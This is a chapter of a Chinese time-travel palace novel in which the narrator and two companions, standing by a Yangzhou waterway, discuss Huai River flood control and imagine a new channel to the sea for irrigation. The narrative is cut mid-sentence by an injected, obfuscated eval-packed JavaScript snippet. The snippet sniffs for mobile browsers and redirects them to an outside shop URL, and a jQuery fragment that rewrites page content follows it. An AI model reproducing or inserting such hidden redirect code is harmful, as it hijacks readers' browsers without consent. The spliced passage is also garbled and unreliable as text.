30. 治淮

作品:《穿越之宜修

    扬州,终于在望了。


    这一路行来,身心仿佛被反复浸染在黄、淮水系那浑浊而沉重的历史与现实之中。从开封的“城摞城”与田间赤裸的艰辛,到洪泽湖畔那埋葬了千年古城与前朝皇陵的、无言而浩渺的湖水,每一步都踏在自然伟力与人类生存交织的、无比真实的土地上。当我们弃舟登岸,踏入扬州地界时,那扑面而来的、混合着水汽、脂粉、香料与淡淡盐卤味的繁华气息,竟让我有刹那的恍惚。


    这里,似乎与一路所见的凋敝沉重截然不同。街道宽阔,商铺鳞次栉比,行人熙攘,虽不及《清明上河图》中汴梁的极致喧嚣,却也透着一股扎实的、流动的活力。运河上樯橹如云,大小船只穿梭不息,装载着粮米、盐包、丝绸、瓷器……这是漕运与盐政共同滋养出的富贵风流之地,与上游的困顿,仿佛是隔了时空的两个世界。


    然而,我深知,这繁华之下,依旧流淌着那条大河的影子。在城中一处不甚起眼、却水流颇急的人工河道旁,我停下了脚步,久久凝视。


    河水是浑浊的黄色,并非扬州城内其他水道那种相对清绿的颜色。它奔流着,带着一种不容置疑的力量,穿过石砌的岸壁,向着东南方向而去。河道不算极宽,但挖凿得颇为规整,两岸有明显的加固痕迹,与周围天然水系的蜿蜒柔和,风格迥异。


    沈眉庄走到我身边,顺着我的目光望向河水。她观察得很仔细,目光在那独特的黄色水波与河道的人工痕迹上游移。片刻,她抬起头,眼中闪过一丝明悟,轻声问道:“姐姐,这河水颜色……与洪泽湖一般无二。这莫非……就是史书上记载的,淮河入江的河道?”


    剪秋也凑近来看,闻言恍然:“是了!奴婢记起来了!前朝末年,淮河水患频仍,泗州沉没,波及扬州亦常受其害。直到本朝圣祖仁皇帝……”


    我点了点头,目光依旧锁在奔流的黄水上,接口道:“不错。先帝圣祖仁皇帝雄才大略,深知黄河夺淮之祸,已非局部加固堤坝所能根除。洪泽湖悬于头顶,淮水无路入海,若一味加高湖周堤防,一旦溃决,其势更猛,为祸更烈。先帝追思大禹治水古训,‘堵不如疏’。既然淮水难以北返故道,入海之路又被黄河泥沙淤塞,何不另辟蹊径,引其南下,借道长江,东流入海?”


    我的手指,顺着水流的方向,缓缓划过:“于是,先帝力排万难,征调民力,开凿疏浚了这条连接洪泽湖、淮河与长江的人工水道——这便是后世所称的‘淮河入江水道’。淮河部分洪水,自此得以经此道汇入长江,再入东海,大大缓解了洪泽湖的水位压力,也减轻了淮河下游的防洪负担。”


    剪秋回想起读过的史书片段,补充道:“奴婢记得,前明之时,淮河流域几乎两三年必有大水,沿淮州县十室九空,流民塞途。而自本朝先帝开凿此河道以降,虽仍有水患,但像前朝那般毁灭性的全流域大灾,确实少了许多。淮河两岸百姓,总算能……稍稍喘口气了。”


    “正是此理。”我收回目光,转身看向她们,语气中带着对那位千古一帝的由衷钦佩,也有一丝更深沉的思虑,“先帝此举,功在当代,利在千秋。以疏代堵,顺应水势,确是治水之上策。他不似寻常君王只知严令堵漏,而是敢于构想、勇于执行这等改换水系的宏大工程,其眼界与魄力,令人折服。咱们皇上……” 我顿了顿,想起那份朱批奏折中冷静的剖析与无奈的局限,“当年亦曾奉先帝之命,亲临此地,主持过部分河道的开凿督理,深知其中艰辛与利害。”


    然而,我的话锋并未停留在赞美上。我望着那虽然被疏导、却依旧浑浊湍急的水流,缓缓说出了心中盘旋已久的另一层思考:


    “只是,先帝宏图伟业,泽被苍生,然天工造物之玄妙,人力谋划,或仍有未及之处。”


    沈眉庄和剪秋神色一凛,专注聆听。


    我的手指,再次指向河道:“这入江水道,固然分淮水之洪,救民于倒悬。然长江亦有长江之量,之汛,之容。淮水黄浊,携大量泥沙入江,天长日久,是否会对长江下游河道,尤其是镇江、江阴乃至海口,造成新的淤积之患?此其一。”


    “其二,”我目光望向北方,那是洪泽湖与更广阔的苏北平原的方向,“淮水主力虽得一路南下入江,然洪泽湖之巨浸,淮河之水量,仅凭此一道,能否尽泄?尤其逢特大水年,长江自身亦可能水涨,届时入江不畅,洪泽湖危矣。此水道,犹如为人疏解胸中郁结,开了一道主要气口,固然性命得保,然若胸腹之中,积水仍多,仅靠此一口,终难畅快,病根未除,隐患犹在。”


    我看着她们若有所悟的神情,说出了那个在心中酝酿已久的构想:


    “或许……还差一条‘小道’。”


    “小道?” 沈眉庄追问。


    “嗯。” 我点头,指尖在虚空中划出一条隐约的、斜向东北的线,“一条能从洪泽湖东北方向,另辟蹊径,引部分湖水直接东流入海的小河道。此道不必如入江水道这般深阔,但需规划巧妙,沿途可设闸坝调节。”


    我的语气变得更有力,带着一种将灾祸转化为福祉的憧憬:“更重要的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963324|193341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是,此河道流经之地,正是苏北东部沿海那片广袤却时常缺水、土质贫瘠的平原。若能将这‘多余’的湖水,通过沟渠堰闸,引入这些田地,则洪水可化为灌溉之源,盐碱之地或可得滋润而渐成沃土。如此,既进一步分减了洪泽湖与淮河下游压力,又能‘化水灾为水利’,滋养一方生民。这,或许才是真正的‘疏’之妙用,不仅疏解水患,更疏导水之利,福泽苍生。”


    沈眉庄眼中光彩大盛,她似乎看到了某种宏大而美好的蓝图:“姐姐是说……让本为祸患的淮水,多一条出路,更让这条出路,成为滋养田地的甘泉?这……这若真能成,岂不是一举两得?不,是一举多得!”


    剪秋也激动道:“如此一来,上游水土流失的‘腹泻’之症虽难立刻根治,下游‘脚肿’之危却能多一路疏导,更能反哺农田!姐姐,这想法……虽然听着工程浩大,但似乎……似乎比一味加高堤防,更为根本!”


    我望着那奔流不息的黄色河水,心中亦是波澜起伏。康熙帝的入江水道,是天才的疏解;雍正帝看到了“腹泻”与“脚肿”的症结,却困于时势;而我这个来自后世的灵魂,凭借多出数百年的见识与对这片土地苦难的切身感受,提出了“第三条路”的可能——一条兼顾分洪、灌溉、改良土壤的“水利”之路。


    这不仅仅是治水技术的设想,更是一种治理理念的延伸:如何与自然共存,如何在顺应中寻求改造,如何将看似无尽的灾患,转化为绵延不绝的生机。


    “想法终归是想法。”我最终缓缓道,从遥远的构想中收回思绪,“付诸实施,需要勘测地形、计算水量、筹措钱粮、征调民夫、协调地方……千头万绪,更需明君能吏,时机成熟。先帝与皇上,已为此打下根基,指明了方向。至于能否添上这‘第三条路’,何时添,如何添……则需后来者,既有慧眼,更需恒心与魄力了。”


    我们三人站在扬州城内的这条人工河边,河水带着数百年的故事与泥沙,匆匆流过。它见证了泗州沉没的悲怆,也承载着康雍两朝帝王治水的努力与智慧。而关于它未来的流向,或许,就在这奔流不息的黄水之中,隐藏着这个古老帝国能否真正驯服这条巨龙、并让沿岸生民永享安澜的关键钥匙。


    扬州的风,带着脂粉香与运河水汽,拂过面颊。我知道,这次南行所见所思,远比预想的更为厚重,也更为深远。它不仅关乎眼下的民生,更隐隐指向了这个庞大帝国未来可能面临的、更深层次的挑战与机遇。而这把钥匙,或许需要不止一代人的手,去共同锻造与转动。